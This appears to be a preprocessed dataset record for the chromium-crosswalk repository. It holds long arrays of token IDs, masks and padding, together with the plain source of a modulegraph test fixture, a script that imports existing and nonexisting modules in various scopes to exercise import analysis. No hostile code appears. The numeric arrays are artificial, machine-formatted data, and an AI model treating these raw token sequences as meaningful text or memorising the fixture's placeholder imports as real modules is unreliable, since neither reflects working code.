[ 504, 5739, 492, 5739, 199, 504, 7065, 14, 1974, 492, 3957, 63, 515, 199, 646, 7065, 14, 1531, 14, 1506, 63, 647, 465, 2306, 199, 646, 747, 199, 646, 15951, 199, 646, 13390, 199, 646, 5890, 199, 646, 7065, 14, 2550, 199, 646, 7975, 199, 199, 504, 9116, 14, 18587, 492, 3816, 199, 504, 9116, 14, 18587, 14, 4174, 14, 4912, 492, 2341, 12, 2457, 12, 2457, 3910, 199, 199, 893, 26, 272, 687, 9116, 14, 773, 18, 475, 19, 63, 476, 492, 28438, 18, 475, 19, 199, 2590, 3545, 26, 272, 1021, 28438, 18, 475, 19, 26, 267, 347, 1255, 63, 18, 475, 19, 8, 277, 12, 1584, 12, 26721, 29, 549, 304, 288, 298, 1117, 6548, 2, 421, 199, 533, 1900, 63, 647, 8, 2981, 14, 1506, 63, 647, 12, 28438, 18, 475, 19, 304, 272, 408, 1327, 24384, 283, 1506, 63, 647, 7, 1414, 626, 6952, 666, 1584, 543, 6117, 339, 710, 666, 1584, 787, 2013, 4799, 282, 283, 2491, 63, 576, 7, 1423, 370, 283, 2758, 342, 1370, 272, 1666, 283, 13623, 14, 2686, 14, 8580, 7, 367, 1655, 2436, 14, 339, 6121, 12, 642, 1015, 402, 314, 283, 1506, 63, 647, 7, 1414, 6127, 1265, 370, 4165, 3865, 272, 283, 647, 63, 3112, 7, 436, 283, 5154, 7, 315, 314, 2011, 3272, 3439, 14, 272, 408, 339, 347, 17284, 63, 1419, 8, 277, 304, 267, 2306, 14, 1506, 63, 647, 14, 14450, 63, 1419, 8, 277, 9, 267, 291, 14, 2491, 63, 576, 275, 291, 14, 4972, 14, 2491, 63, 576, 267, 291, 14, 5473, 63, 2491, 63, 576, 275, 334, 277, 14, 4972, 14, 5473, 63, 2491, 63, 576, 503, 3660, 5009, 267, 340, 283, 576, 63, 1725, 7, 315, 291, 855, 807, 10651, 288, 2150, 291, 855, 807, 23010, 576, 63, 1725, 418, 267, 291, 855, 5334, 63, 1725, 275, 942, 267, 291, 855, 1301, 2219, 63, 18, 475, 19, 275, 942, 339, 347, 1255, 8, 277, 304, 267, 408, 3425, 4621, 12, 6117, 12, 436, 1331, 666, 1584, 370, 1900, 2082, 624, 267, 340, 440, 291, 14, 647, 63, 3112, 436, 440, 291, 14, 5154, 26, 288, 372, 398, 340, 291, 14, 647, 63, 3112, 26, 288, 291, 14, 1506, 63, 3112, 342, 398, 340, 291, 14, 5154, 26, 288, 291, 14, 1506, 63, 5154, 342, 288, 291, 14, 1506, 63, 2491, 63, 576, 342, 398, 291, 14, 1065, 63, 18, 475, 19, 8, 277, 855, 5334, 63, 1725, 12, 756, 9, 267, 291, 14, 1065, 63, 18, 475, 19, 8, 277, 855, 5334, 63, 1725, 12, 715, 9, 267, 291, 14, 1065, 63, 18, 475, 19, 8, 277, 855, 1301, 2219, 63, 18, 475, 19, 12, 715, 9, 398, 327, 5972, 6555, 3503, 1275, 647, 1584, 12, 1808, 4154, 1300, 1021, 7, 16819, 402, 4052, 4154, 267, 327, 1072, 1584, 787, 14, 267, 291, 14, 4414, 63, 2014, 8, 2981, 14, 1506, 63, 647, 14, 362, 63, 4467, 8, 277, 12, 2387, 63, 19812, 29, 16, 430, 339, 347, 636, 5675, 721, 277, 12, 1921, 304, 267, 298, 416, 90, 3444, 4526, 666, 1584, 2, 267, 340, 1921, 508, 283, 576, 63, 1725, 356, 288, 291, 14, 576, 63, 1725, 275, 291, 423, 362, 63, 576, 63, 1725, 342, 288, 372, 291, 14, 576, 63, 1725, 267, 372, 2306, 14, 1506, 63, 647, 855, 5675, 721, 277, 12, 1921, 9, 339, 347, 1900, 63, 578, 8, 277, 12, 859, 12, 859, 63, 493, 12, 2559, 304, 267, 340, 3816, 14, 4521, 18, 436, 1228, 8, 2491, 12, 3816, 14, 875, 63, 1313, 304, 288, 327, 5126, 2552, 641, 2018, 499, 1380, 2649, 365, 3032, 15196, 12205, 9, 288, 2559, 275, 2559, 14, 1294, 7563, 267, 4386, 12, 8876, 275, 2306, 14, 1506, 63, 647, 14, 1506, 63, 578, 8, 277, 12, 859, 12, 859, 63, 493, 12, 9349, 2559, 9, 267, 340, 8876, 26, 288, 291, 855, 5334, 63, 1725, 14, 740, 8, 4984, 9, 267, 372, 4386, 12, 8876, 339, 347, 485, 362, 63, 576, 63, 1725, 8, 277, 304, 267, 408, 6864, 769, 402, 8189, 2491, 12, 2164, 63, 694, 12, 1506, 63, 694, 12, 10309, 3171, 6346, 624, 267, 291, 14, 21184, 63, 6418, 342, 267, 372, 769, 8, 1130, 8, 277, 423, 362, 63, 4600, 63, 576, 63, 1725, 12, 291, 14, 5154, 503, 334, 1724, 339, 347, 485, 362, 63, 4600, 63, 576, 63, 1725, 8, 277, 12, 2559, 304, 267, 327, 6263, 323, 2559, 1350, 2082, 267, 2928, 63, 694, 275, 291, 14, 362, 63, 2491, 63, 694, 8, 2491, 9, 398, 327, 8354, 2559, 1900, 2082, 267, 1900, 63, 694, 275, 747, 14, 515, 14, 904, 2031, 779, 277, 14, 1506, 63, 773, 61, 435, 2559, 14, 1294, 7563, 430, 398, 327, 19828, 2082, 687, 5739, 6123, 6203, 267, 6203, 275, 359, 288, 747, 14, 515, 14, 12405, 8, 493, 12, 2928, 63, 694, 9, 288, 367, 570, 315, 291, 14, 1623, 63, 576, 63, 1725, 8, 2491, 12, 2928, 63, 694, 9, 267, 1622, 267, 372, 2559, 12, 2928, 63, 694, 12, 1900, 63, 694, 12, 6203, 339, 347, 2342, 63, 576, 63, 1725, 8, 277, 12, 2559, 12, 2928, 63, 694, 304, 267, 408, 1767, 6203, 367, 2559, 1159, 666, 1584, 315, 283, 2164, 63, 694, 26555, 267, 7970, 275, 291, 423, 362, 63, 3246, 63, 7435, 8, 288, 291, 14, 2491, 63, 576, 12, 288, 2559, 12, 288, 2928, 63, 694, 12, 267, 776, 267, 13977, 63, 15645, 275, 2341, 8, 6463, 12, 7970, 9, 267, 327, 9378, 314, 11507, 13977, 1901, 376, 6076, 402, 4450, 267, 13977, 63, 6742, 275, 7975, 14, 4429, 14, 504, 63, 8147, 8, 15581, 63, 15645, 9, 267, 5739, 63, 1725, 275, 2457, 8, 736, 14, 515, 14, 6292, 12, 13977, 63, 6742, 9, 267, 1584, 275, 7975, 14, 4429, 8, 288, 291, 14, 6418, 63, 1725, 14, 362, 8, 2491, 12, 14431, 288, 5739, 63, 1725, 12, 267, 776, 267, 372, 291, 14, 5473, 63, 576, 63, 1725, 8, 2491, 12, 2928, 63, 694, 12, 1584, 9, 339, 347, 1900, 63, 2491, 63, 576, 8, 277, 304, 267, 408, 5116, 666, 1584, 1901, 1900, 2082, 624, 267, 367 ]
[ 5739, 492, 5739, 199, 504, 7065, 14, 1974, 492, 3957, 63, 515, 199, 646, 7065, 14, 1531, 14, 1506, 63, 647, 465, 2306, 199, 646, 747, 199, 646, 15951, 199, 646, 13390, 199, 646, 5890, 199, 646, 7065, 14, 2550, 199, 646, 7975, 199, 199, 504, 9116, 14, 18587, 492, 3816, 199, 504, 9116, 14, 18587, 14, 4174, 14, 4912, 492, 2341, 12, 2457, 12, 2457, 3910, 199, 199, 893, 26, 272, 687, 9116, 14, 773, 18, 475, 19, 63, 476, 492, 28438, 18, 475, 19, 199, 2590, 3545, 26, 272, 1021, 28438, 18, 475, 19, 26, 267, 347, 1255, 63, 18, 475, 19, 8, 277, 12, 1584, 12, 26721, 29, 549, 304, 288, 298, 1117, 6548, 2, 421, 199, 533, 1900, 63, 647, 8, 2981, 14, 1506, 63, 647, 12, 28438, 18, 475, 19, 304, 272, 408, 1327, 24384, 283, 1506, 63, 647, 7, 1414, 626, 6952, 666, 1584, 543, 6117, 339, 710, 666, 1584, 787, 2013, 4799, 282, 283, 2491, 63, 576, 7, 1423, 370, 283, 2758, 342, 1370, 272, 1666, 283, 13623, 14, 2686, 14, 8580, 7, 367, 1655, 2436, 14, 339, 6121, 12, 642, 1015, 402, 314, 283, 1506, 63, 647, 7, 1414, 6127, 1265, 370, 4165, 3865, 272, 283, 647, 63, 3112, 7, 436, 283, 5154, 7, 315, 314, 2011, 3272, 3439, 14, 272, 408, 339, 347, 17284, 63, 1419, 8, 277, 304, 267, 2306, 14, 1506, 63, 647, 14, 14450, 63, 1419, 8, 277, 9, 267, 291, 14, 2491, 63, 576, 275, 291, 14, 4972, 14, 2491, 63, 576, 267, 291, 14, 5473, 63, 2491, 63, 576, 275, 334, 277, 14, 4972, 14, 5473, 63, 2491, 63, 576, 503, 3660, 5009, 267, 340, 283, 576, 63, 1725, 7, 315, 291, 855, 807, 10651, 288, 2150, 291, 855, 807, 23010, 576, 63, 1725, 418, 267, 291, 855, 5334, 63, 1725, 275, 942, 267, 291, 855, 1301, 2219, 63, 18, 475, 19, 275, 942, 339, 347, 1255, 8, 277, 304, 267, 408, 3425, 4621, 12, 6117, 12, 436, 1331, 666, 1584, 370, 1900, 2082, 624, 267, 340, 440, 291, 14, 647, 63, 3112, 436, 440, 291, 14, 5154, 26, 288, 372, 398, 340, 291, 14, 647, 63, 3112, 26, 288, 291, 14, 1506, 63, 3112, 342, 398, 340, 291, 14, 5154, 26, 288, 291, 14, 1506, 63, 5154, 342, 288, 291, 14, 1506, 63, 2491, 63, 576, 342, 398, 291, 14, 1065, 63, 18, 475, 19, 8, 277, 855, 5334, 63, 1725, 12, 756, 9, 267, 291, 14, 1065, 63, 18, 475, 19, 8, 277, 855, 5334, 63, 1725, 12, 715, 9, 267, 291, 14, 1065, 63, 18, 475, 19, 8, 277, 855, 1301, 2219, 63, 18, 475, 19, 12, 715, 9, 398, 327, 5972, 6555, 3503, 1275, 647, 1584, 12, 1808, 4154, 1300, 1021, 7, 16819, 402, 4052, 4154, 267, 327, 1072, 1584, 787, 14, 267, 291, 14, 4414, 63, 2014, 8, 2981, 14, 1506, 63, 647, 14, 362, 63, 4467, 8, 277, 12, 2387, 63, 19812, 29, 16, 430, 339, 347, 636, 5675, 721, 277, 12, 1921, 304, 267, 298, 416, 90, 3444, 4526, 666, 1584, 2, 267, 340, 1921, 508, 283, 576, 63, 1725, 356, 288, 291, 14, 576, 63, 1725, 275, 291, 423, 362, 63, 576, 63, 1725, 342, 288, 372, 291, 14, 576, 63, 1725, 267, 372, 2306, 14, 1506, 63, 647, 855, 5675, 721, 277, 12, 1921, 9, 339, 347, 1900, 63, 578, 8, 277, 12, 859, 12, 859, 63, 493, 12, 2559, 304, 267, 340, 3816, 14, 4521, 18, 436, 1228, 8, 2491, 12, 3816, 14, 875, 63, 1313, 304, 288, 327, 5126, 2552, 641, 2018, 499, 1380, 2649, 365, 3032, 15196, 12205, 9, 288, 2559, 275, 2559, 14, 1294, 7563, 267, 4386, 12, 8876, 275, 2306, 14, 1506, 63, 647, 14, 1506, 63, 578, 8, 277, 12, 859, 12, 859, 63, 493, 12, 9349, 2559, 9, 267, 340, 8876, 26, 288, 291, 855, 5334, 63, 1725, 14, 740, 8, 4984, 9, 267, 372, 4386, 12, 8876, 339, 347, 485, 362, 63, 576, 63, 1725, 8, 277, 304, 267, 408, 6864, 769, 402, 8189, 2491, 12, 2164, 63, 694, 12, 1506, 63, 694, 12, 10309, 3171, 6346, 624, 267, 291, 14, 21184, 63, 6418, 342, 267, 372, 769, 8, 1130, 8, 277, 423, 362, 63, 4600, 63, 576, 63, 1725, 12, 291, 14, 5154, 503, 334, 1724, 339, 347, 485, 362, 63, 4600, 63, 576, 63, 1725, 8, 277, 12, 2559, 304, 267, 327, 6263, 323, 2559, 1350, 2082, 267, 2928, 63, 694, 275, 291, 14, 362, 63, 2491, 63, 694, 8, 2491, 9, 398, 327, 8354, 2559, 1900, 2082, 267, 1900, 63, 694, 275, 747, 14, 515, 14, 904, 2031, 779, 277, 14, 1506, 63, 773, 61, 435, 2559, 14, 1294, 7563, 430, 398, 327, 19828, 2082, 687, 5739, 6123, 6203, 267, 6203, 275, 359, 288, 747, 14, 515, 14, 12405, 8, 493, 12, 2928, 63, 694, 9, 288, 367, 570, 315, 291, 14, 1623, 63, 576, 63, 1725, 8, 2491, 12, 2928, 63, 694, 9, 267, 1622, 267, 372, 2559, 12, 2928, 63, 694, 12, 1900, 63, 694, 12, 6203, 339, 347, 2342, 63, 576, 63, 1725, 8, 277, 12, 2559, 12, 2928, 63, 694, 304, 267, 408, 1767, 6203, 367, 2559, 1159, 666, 1584, 315, 283, 2164, 63, 694, 26555, 267, 7970, 275, 291, 423, 362, 63, 3246, 63, 7435, 8, 288, 291, 14, 2491, 63, 576, 12, 288, 2559, 12, 288, 2928, 63, 694, 12, 267, 776, 267, 13977, 63, 15645, 275, 2341, 8, 6463, 12, 7970, 9, 267, 327, 9378, 314, 11507, 13977, 1901, 376, 6076, 402, 4450, 267, 13977, 63, 6742, 275, 7975, 14, 4429, 14, 504, 63, 8147, 8, 15581, 63, 15645, 9, 267, 5739, 63, 1725, 275, 2457, 8, 736, 14, 515, 14, 6292, 12, 13977, 63, 6742, 9, 267, 1584, 275, 7975, 14, 4429, 8, 288, 291, 14, 6418, 63, 1725, 14, 362, 8, 2491, 12, 14431, 288, 5739, 63, 1725, 12, 267, 776, 267, 372, 291, 14, 5473, 63, 576, 63, 1725, 8, 2491, 12, 2928, 63, 694, 12, 1584, 9, 339, 347, 1900, 63, 2491, 63, 576, 8, 277, 304, 267, 408, 5116, 666, 1584, 1901, 1900, 2082, 624, 267, 367, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
darktears/chromium-crosswalk
tools/telemetry/third_party/modulegraph/modulegraph_tests/testpkg-edgedata/script.py
23
1384
import toplevel_existing import toplevel_nonexisting class MyClass: import toplevel_class_existing import toplevel_class_nonexisting if a == b: import toplevel_conditional_existing import toplevel_conditional_nonexisting try: import toplevel_conditional_import_existing import toplevel_conditional_import_nonexisting except: import toplevel_conditional_import2_existing import toplevel_conditional_import2_nonexisting try: import toplevel_import_existing import toplevel_import_nonexisting except: import toplevel_import2_existing import toplevel_import2_nonexisting def function(): import function_existing import function_nonexisting class MyClass: import function_class_existing import function_class_nonexisting if a == b: import function_conditional_existing import function_conditional_nonexisting try: import function_conditional_import_existing import function_conditional_import_nonexisting except: import function_conditional_import2_existing import function_conditional_import2_nonexisting try: import function_import_existing import function_import_nonexisting except: import function_import2_existing import function_import2_nonexisting
bsd-3-clause
[ 199, 646, 13836, 63, 5952, 199, 646, 13836, 63, 3592, 88, 26958, 199, 199, 533, 4932, 2543, 26, 272, 492, 13836, 63, 533, 63, 5952, 272, 492, 13836, 63, 533, 63, 3592, 88, 26958, 199, 199, 692, 282, 508, 330, 26, 272, 492, 13836, 63, 14353, 63, 5952, 272, 492, 13836, 63, 14353, 63, 3592, 88, 26958, 339, 862, 26, 267, 492, 13836, 63, 14353, 63, 646, 63, 5952, 267, 492, 13836, 63, 14353, 63, 646, 63, 3592, 88, 26958, 272, 871, 26, 267, 492, 13836, 63, 14353, 63, 646, 18, 63, 5952, 267, 492, 13836, 63, 14353, 63, 646, 18, 63, 3592, 88, 26958, 199, 199, 893, 26, 272, 492, 13836, 63, 646, 63, 5952, 272, 492, 13836, 63, 646, 63, 3592, 88, 26958, 199, 2590, 26, 272, 492, 13836, 63, 646, 18, 63, 5952, 272, 492, 13836, 63, 646, 18, 63, 3592, 88, 26958, 199, 199, 318, 805, 837, 272, 492, 805, 63, 5952, 272, 492, 805, 63, 3592, 88, 26958, 339, 1021, 4932, 2543, 26, 267, 492, 805, 63, 533, 63, 5952, 267, 492, 805, 63, 533, 63, 3592, 88, 26958, 339, 340, 282, 508, 330, 26, 267, 492, 805, 63, 14353, 63, 5952, 267, 492, 805, 63, 14353, 63, 3592, 88, 26958, 398, 862, 26, 288, 492, 805, 63, 14353, 63, 646, 63, 5952, 288, 492, 805, 63, 14353, 63, 646, 63, 3592, 88, 26958, 267, 871, 26, 288, 492, 805, 63, 14353, 63, 646, 18, 63, 5952, 288, 492, 805, 63, 14353, 63, 646, 18, 63, 3592, 88, 26958, 339, 862, 26, 267, 492, 805, 63, 646, 63, 5952, 267, 492, 805, 63, 646, 63, 3592, 88, 26958, 272, 871, 26, 267, 492, 805, 63, 646, 18, 63, 5952, 267, 492, 805, 63, 646, 18, 63, 3592, 88, 26958, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 646, 13836, 63, 5952, 199, 646, 13836, 63, 3592, 88, 26958, 199, 199, 533, 4932, 2543, 26, 272, 492, 13836, 63, 533, 63, 5952, 272, 492, 13836, 63, 533, 63, 3592, 88, 26958, 199, 199, 692, 282, 508, 330, 26, 272, 492, 13836, 63, 14353, 63, 5952, 272, 492, 13836, 63, 14353, 63, 3592, 88, 26958, 339, 862, 26, 267, 492, 13836, 63, 14353, 63, 646, 63, 5952, 267, 492, 13836, 63, 14353, 63, 646, 63, 3592, 88, 26958, 272, 871, 26, 267, 492, 13836, 63, 14353, 63, 646, 18, 63, 5952, 267, 492, 13836, 63, 14353, 63, 646, 18, 63, 3592, 88, 26958, 199, 199, 893, 26, 272, 492, 13836, 63, 646, 63, 5952, 272, 492, 13836, 63, 646, 63, 3592, 88, 26958, 199, 2590, 26, 272, 492, 13836, 63, 646, 18, 63, 5952, 272, 492, 13836, 63, 646, 18, 63, 3592, 88, 26958, 199, 199, 318, 805, 837, 272, 492, 805, 63, 5952, 272, 492, 805, 63, 3592, 88, 26958, 339, 1021, 4932, 2543, 26, 267, 492, 805, 63, 533, 63, 5952, 267, 492, 805, 63, 533, 63, 3592, 88, 26958, 339, 340, 282, 508, 330, 26, 267, 492, 805, 63, 14353, 63, 5952, 267, 492, 805, 63, 14353, 63, 3592, 88, 26958, 398, 862, 26, 288, 492, 805, 63, 14353, 63, 646, 63, 5952, 288, 492, 805, 63, 14353, 63, 646, 63, 3592, 88, 26958, 267, 871, 26, 288, 492, 805, 63, 14353, 63, 646, 18, 63, 5952, 288, 492, 805, 63, 14353, 63, 646, 18, 63, 3592, 88, 26958, 339, 862, 26, 267, 492, 805, 63, 646, 63, 5952, 267, 492, 805, 63, 646, 63, 3592, 88, 26958, 272, 871, 26, 267, 492, 805, 63, 646, 18, 63, 5952, 267, 492, 805, 63, 646, 18, 63, 3592, 88, 26958, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 